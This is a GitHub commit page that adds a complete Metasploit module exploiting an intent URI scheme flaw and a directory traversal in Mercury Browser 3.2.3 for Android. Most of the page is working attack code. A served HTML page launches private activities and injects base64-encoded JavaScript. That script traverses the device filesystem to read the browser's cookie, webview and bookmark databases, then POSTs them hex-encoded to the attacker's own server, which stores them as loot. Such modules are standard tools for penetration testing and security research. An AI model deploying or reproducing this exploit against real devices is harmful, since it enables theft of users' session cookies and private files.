Skip to content

Commit 44fa188

Browse files
committed
Land rapid7#5984, android_mercury_parseuri module
2 parents d798ef0 + 060acbc commit 44fa188

File tree

1 file changed

+157
-0
lines changed

1 file changed

+157
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
16+
'Description' => %q{
17+
This module exploits an unsafe intent URI scheme and directory traversal found in
18+
Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
19+
private wifi manager activity, which starts a web server for Mercury on port 8888.
20+
The webserver also suffers a directory traversal that allows remote access to
21+
sensitive files.
22+
23+
By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
24+
webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
25+
ADDITIONAL_FILES datastore option to collect more files.
26+
},
27+
'Author' =>
28+
[
29+
'rotlogix', # Vuln discovery, PoC, etc
30+
'sinn3r',
31+
'joev'
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
37+
[ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
38+
]
39+
))
40+
41+
register_options(
42+
[
43+
OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
44+
], self.class)
45+
end
46+
47+
def is_android?(user_agent)
48+
user_agent.include?('Android')
49+
end
50+
51+
def get_html
52+
%Q|
53+
<html>
54+
<head>
55+
<meta charset="utf-8" />
56+
</head>
57+
<body>
58+
<script>
59+
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
60+
setTimeout(function() {
61+
location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
62+
}, 500);
63+
</script>
64+
</body>
65+
</html>
66+
|
67+
end
68+
69+
def backend_url
70+
proto = (datastore['SSL'] ? 'https' : 'http')
71+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
72+
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
73+
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
74+
75+
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
76+
end
77+
78+
def uxss
79+
%Q|
80+
function exploit() {
81+
history.replaceState({},{},'/storage/emulated/0/Download/');
82+
var urls = #{JSON.generate(file_urls)};
83+
urls.forEach(function(url) {
84+
var x = new XMLHttpRequest();
85+
x.open('GET', '/dodownload?fname=../../../..'+url);
86+
x.responseType = 'arraybuffer';
87+
x.send();
88+
x.onload = function(){
89+
var buff = new Uint8Array(x.response);
90+
var hex = Array.prototype.map.call(buff, function(d) {
91+
var c = d.toString(16);
92+
return (c.length < 2) ? 0+c : c;
93+
}).join('');
94+
var send = new XMLHttpRequest();
95+
send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
96+
send.setRequestHeader('Content-type', 'text/plain');
97+
send.send(hex);
98+
};
99+
});
100+
}
101+
102+
var q = window.open('http://localhost:8888/','x');
103+
q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
104+
|
105+
end
106+
107+
def file_urls
108+
files = [
109+
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
110+
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
111+
'/data/data/com.ilegendsoft.mercury/databases/webview.db',
112+
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
113+
]
114+
115+
if datastore['ADDITIONAL_FILES']
116+
files.concat(datastore['ADDITIONAL_FILES'].split)
117+
end
118+
119+
files
120+
end
121+
122+
def on_request_uri(cli, req)
123+
print_status("Requesting: #{req.uri}")
124+
125+
unless is_android?(req.headers['User-Agent'])
126+
print_error('Target is not Android')
127+
send_not_found(cli)
128+
return
129+
end
130+
131+
if req.method =~ /post/i
132+
if req.body
133+
filename = File.basename(req.uri) || 'file'
134+
output = store_loot(
135+
filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
136+
)
137+
print_good("Stored #{req.body.bytes.length} bytes to #{output}")
138+
end
139+
140+
return
141+
end
142+
143+
print_status('Sending HTML...')
144+
html = get_html
145+
send_response_html(cli, html)
146+
end
147+
148+
def hex2bin(hex)
149+
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
150+
end
151+
152+
153+
def run
154+
exploit
155+
end
156+
157+
end

0 commit comments

Comments
 (0)